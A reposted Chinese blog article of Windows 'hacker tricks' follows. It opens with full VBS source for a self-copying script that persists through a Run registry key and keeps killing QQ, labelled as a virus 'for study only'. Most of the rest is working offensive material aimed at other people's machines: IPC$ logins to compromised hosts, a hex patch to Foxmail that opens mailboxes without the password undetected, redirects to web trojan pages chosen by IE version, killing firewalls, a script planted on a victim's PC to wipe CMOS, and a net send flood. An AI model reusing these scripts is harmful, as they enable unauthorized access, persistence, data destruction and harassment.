VBS妙用,进程控制 转自网络

VBS(Visual Basic Script)作为一种简单而强大的脚本语言,在现代Windows操作系统中日益发挥重要的作用。我记得在读大学的时候,著名的Melissa(梅丽莎)和“I love you”病毒就是由VBS编写的,恶作剧般的“万花谷”网页病毒也包含了大量的VBS代码。它像一把双刃剑,既是我们日常操作管理的得力助手,也是一个可怕的无处不在的杀手。

病毒代码一般短小精悍,深入分析它对于提高编程水平是十分有助益的。下面我将通过分析一个具有禁止QQ运行功能的VBS病毒程序代码向你演示病毒的生与死。

一、程序源码分析:

'------------------------------------------------------------------------------------------

'本程序仅供学习研究VBS编程使用,严禁用于非法目的,请遵守国家计算机相关法律

'把应用程序名称改成其他应用程序,在启动时便能禁止相关程序的运行

'本程序适用于基于NT内核的操作系统,如:Windows NT4.0、win2K、WindowsXP等

'------------------------------------------------------------------------------------------

'VIRUS CODE STARTS HERE

'------------------------------------------------------------------------------------------

'容错控制,防止发生异常抛出而导致程序崩溃

On Error Resume Next

'创建文件系统对象

Set fso=CreateObject("Scripting.FileSystemObject")

'获得系统文件夹

Set sysdir=fso.GetSpecialFolder(1)

Set filespec=sysdir&"\hlx0Q.vbs"

'创建Windows脚本壳对象

Set ws=CreateObject("Wscript.Shell")

'将病毒文件拷贝到系统文件夹下并改名

fso.GetFile(WScript.ScriptFullName).Copy(filespec)

'写注册表,设置启动时自动加载项

ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\hlx0Q","hlx0Q.vbs"

'获得QQ服务进程,您可以通过按“Ctrl+Alt+Del”查看进程列表,获得进程映像名称

do

    '表示本地主机

    strComputer = "."

    '获得进程名

    strWQL="Select * from Win32_Process Where Name = 'qq.exe'"

    '获得VMI对象

    Set objWMIService = GetObject("winmgmts:" _

    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

    Set colProcessList = objWMIService.ExecQuery(strWQL)

    '在进程列表中枚举目标进程,一旦发现便中断它运行

    For Each objProcess in colProcessList

        objProcess.Terminate()

    Next

loop

'注销对象

Set fso=Nothing

Set sysdir=Nothing

Set ws=Nothing

Set filename=Nothing

Set objWMIService=Nothing

Set objProcess=Nothing

'---------------------------------------------------------------------------

'VIRUS CODE ENDS HERE

'----------------------------------------------------------------------------

小黑客厚道学:掌握一些黑客知识是非常必要的,不是要攻击别人,而是通过简单的黑客知识掌握网络/系统安全技术,开拓思路,从而更好的保护自己的电脑。也就是所谓的“知己知彼百战不殆”。

1、简化CMD下用IPC$登录肉鸡的操作

用记事本建立一个名为login.bat文件,代码如下:

@net use \\%1\ipc$ %3 /u:"%2"

@echo OK!连接已经建立成功!

使用方法是在CMD下输入:login.bat肉鸡的IP肉鸡的ADMIN组的帐号名/用户的密码。这样我们以后用IPC$登录肉鸡就不用每次都输入一大串的命令了。

2、进入Foxmail账户有妙招

在Foxmail中可以为账户加上访问密码,如果没有密码却想进入别人的信箱该怎么办呢?一个众所周知的办法是:打开Foxmail文件夹下以账户名命名的任意一个文件夹,里边有个名为account.stg的文件,把它复制到你想进入的账户目录里,直接覆盖该目录下原来的account.stg文件。运行Foxmail,点击那个忘记了密码的账户,可以直接进入该信箱!但是上面的方法并不隐蔽,因为对方下次使用信箱时就会发现你破解了他的信箱,这样不够隐蔽。要想进入对方的信箱还不被对方发现,可以使用下面这个办法:用16进制文件编辑器UltraEdit打开Foxamil的主程序foxmail.exe文件,按组合键Alt+F3查找以下的代码:E8617EE4FF7515,单击“确定”开始查找,找到后把其中的7515改为9090,其他代码不用改,然后保存就可以了。执行foxmail.exe,这样可以随意进入设有密码的Foxmail邮箱。该技巧对最新的Foxmail5.0.500.0有效。

3、利用vbs脚本判断对方的IE版本

我们在编制网页木马时,常常需要页面具有自动判别对方IE版本的能力,根据版本的不同,跳转到不同的网页木马页面。之所以这样做,是因为不同版本的IE,其木马网页的制作方法并不相同,比方说针对IE6.0版的网页木马制作方法与其下各个版本就不相同。

打开记事本,输入如下内容:

“〈SCRIPT language=vbscript〉

if Instr(window.navigator.appversion,"MSIE 6.0")>0 then

alert("浏 览 器:Internet Explorer 6.0")

window.location.href="http://IE6.0 网页木马页面"

else

alert("浏 览 器:6.0版本以下")

window.location.href="http://IE6.0以下版网页木马页面"

end if

〈/SCRIPT〉”

这样,使用IE6.0的用户浏览了该页面后,会自动跳转到http://IE6.0网页木马页面,不是IE6.0的用户浏览后会自动跳转到http://IE6.0以下版网页木马页面。

4、肉鸡的ipc$打不开该怎么办

有些朋友反映telnet到对方的机器后却不能打开ipc$,这该怎么办呢?我的做法是首先试试net share命令,看能不能使用,如果不能使用,说明对方没有安装文件和打印机共享服务,那ipc$一定是无法使用,此时只能放弃了。再输入net share ipc$试试,看看ipc$能不能打开,如果不行就输入net stop server,接下来再输入net start server,这样试试看ipc$能不能打开。如果net stop server不能执行,先把其附属进程关闭,再关server的主进程,一般到此ipc$多半可以连接上了。如果还是不行,那多半是对方有防火墙,这时只能想办法杀掉防火墙的进程了。

5、用vbs脚本结束进程

先声明这一招不是我自己想到的,是从高手ilovewen那里学来的。把下面的内容保存为.vbs脚本,在Windows2000下可以运行成功,代码内容如下:

On Error Resume Next

strComputer="."Set objWMIService = GetObject("winmgmts:" _

&& "{impersonationLevel=impersonate}!\\" && strComputer && "\root\cimv2")Set colProcessList

=objWMIService.ExecQuery _

("Select * from Win32_Process Where Name=''*.exe''")For Each objProcess in colProcessList

objProcess.Terminate()Next

其中*.exe是你要结束的进程,将它改为你要结束进程的名即可。

6、利用批处理清除对方的CMOS内容

如果你想清除对方的CMOS内容该怎么办?方法有很多了,利用批处理绝对是很另类的一招吧?请打开记事本,在文件中输入如下内容:

Const ForAppending=8

Dim fso,x,y

Set fso=CreateObject("Scripting.FileSystemObject")

Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)

Set y=fso.CreateTextFile("c:\1.txt", True)

x.WriteBlankLines(1)

x.Write"debug<1.txt"

x.WriteBlankLines(1)

y.WriteLine("o 70 10")

y.WriteBlankLines(1)

y.Write("o 71 10")

y.Close

x.Close

把上述内容保存为.bat文件,然后拷贝到对方的电脑上运行即可。它的作用是向Autoexec.bat中加入数据,创建一个文件,并向其中写入内容,在他下次开机时调用debug清除掉CMOS设置,包括CMOS密码。其实,这与大家常用的清除CMOS密码的方法很相象,通常情况下清除CMOS密码的方法是在DOS状态下输入debug,回车之后输入如下命令即可手工清除密码:

-o 70 10

-o 71 01

-q

7、利用批处理轰炸对方电脑

这是从一些高手那里学来的招数,呵呵,真是好方法。具体步骤是,打开记事本,在里面输入如下内容:

@echo 正在轰炸中……

:start

@net send %1 %2

@if errorlevel 1 goto over

goto start

ver

@echo 发送失败

将其保存为任意名字的.bat文件即可。使用用法是:任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。

8、戏弄非法用户

为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令:

@echo off

echo non-system disk or disk error

choice/c:&&/n

上面代码中的“&&”为我们设置的密码,您可以自行设置。这样重新启动计算机开机时就会显示“non-system disk or disk error”,接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗!当我们要进入系统时,只要输入“&&”即可。

9、我的电脑你别用

如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?在CMOS中设密码,太小气了吧?他如果问你密码,你好意思不说吗?其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。

方法是:进入MS-DOS方式或CMD窗口下,输入:copy con null.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示“1 file(s) copied”,这样就一个名为null.sys的空文件就建好了。现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入“我的电脑”中,点击“查看(v)”→“文件夹选项”→“查看”→“显示所有文件”才能看到它,然后右键单击该文件,在弹出菜单中选择“用记事本打开”,接下来在config.sys文件中加入:device=c:\null.sys /d:null这样一行,保存修改结果,退出记事本。以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐了。

你可能感兴趣的:(vbs)